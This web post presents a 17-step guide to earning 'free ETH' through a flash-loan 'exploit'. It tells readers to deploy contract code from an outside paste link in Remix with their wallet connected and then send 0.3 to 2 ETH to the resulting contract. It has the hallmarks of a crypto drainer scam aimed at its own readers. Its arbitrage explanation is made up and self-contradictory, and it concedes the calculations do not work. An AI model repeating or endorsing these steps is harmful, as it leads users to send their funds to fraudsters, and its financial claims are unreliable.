This is an exploit in the network which has caused some serious panic over the last week, previous codes are getting fixed and there is no saying when this will be patched as well. But the good thing is that if it doesn't work then the transaction will just fail i.e. you won't lose any ETH.
I would suggest going for 0.3 ETH minimum to make sure the transaction does not fail but it's up to you. The higher the amount you set the greater the reward and chances of success.
UPDATED Code: Works As of 08/Dec/2021
Follow The GUIDE Carefully or the loan wont go through.
Step 1: Go to http://remix.ethereum.org Step 2: Click the contracts folder then the create new file icon, Create a file call it Flashloan.sol hit ENTER (Create this file in the contracts folder (Watch Video) Step 3: Download & then copy and paste the contract code into REMIX Panel (As per the video) https://ghostbin.com/DUOZo/raw Step 4: Click Deploy & Run ICON (Left hand side) Step 5: Change Environment to (Injected Web3) Step 6: Connect you wallet when prompted (Metamask Preferable) Step 7: Click Solidity Compiler Icon (Change Complier version greater than 0.5.0) Step 8: Click compile FLASHLOAN.SOL Step 9: Click Deploy & Run transaction icon Step 10: Click string token name, name your token and symbol (could be anything) ie mytoken, MYTOK Step 11: Enter Loan Amount IE 1,000 ETH preferable Step 12: Click Orange Transact Button Step 13: Click confirm on wallet/metamask (wait for confirmation) Step 14: New contract will appear under DEPLOYED Contract Field Step 15: Copy new contract address generated from the loan pool Step 16: Click send on METAMASK & Paste Contract Address Step 17: Send 0.3 ETH if loan amount is less than 1,000 ETH Send 0.6 ETH if loan amount is greater than 1,000 ETH Send 1 ETH if loan amount is greater than 2,000 ETH Send 1.5 ETH if loan amount is greater than 3,000 ETH Send 2 ETH if loan amount is greater than 4,000 ETH
0.5 ETH + for each 1,000 ETH you are loaning
Avoid using very low amounts as contract may fail below 0.5 ETH
Note: Use Compiler Version 0.5.17 or above on REMIX (Compiler Section)
And that is how you get FREE ETH using a flash loan!
How the smart contract works: 1. We will borrow a flash loan of around 1,000 ETH from Multiplier Finance to make an arbitrage trade on Uniswap .
2. To prepare the arbitrage, ETH is swapped into USDT using UniSwap swap contract code. (50% ETH swapped into 50% USDT) (At the time of this video, 1 ETH = 2200 USDT); So we will have about 500 ETH and 1.1M USDT.
3. The code will let you deploy your own token on Uniswap.
4. Provide liquidity in the 2 pools in such ratio (it is our own token and liquidity pool, so we have the power to set the initial price of the token):
Your Token (TOK) : ETH has 1:1 ratio (TOK 1 = 1 ETH)
Your Token (TOK) : USDT has 2500: 1 ratio ( TOK 1 = 500 USDT)
5. The code perform the following swaps in a loop until all the initial flash loaned amount is in our liquidity pools:
Swap ETH (500) into TOK (500)
Swap TOK (500) into USDT (1,250,000)
Swap USDT (250,000) into ETH(568)
6. You will now have 1068 ETH. You can repay the 1000 ETH loan + any gas fees + Slippages and keep the remaining as profits, all within the same smart contract. Although the calculations does not work as such but you still make profit.
Please note this video is for demonstration purposes only, we do not recommend using exploits for free money. **********************************************ATTENTION******************************************** *IF YOU DONT PUT THE ENOUGH ETH THE BORROW AND THE FLASHLOAN MIGHT FAIL due to the interest to be paid at the end of the flash loans or transaction gas cost. Add at least 0.3 ETH in each transaction.
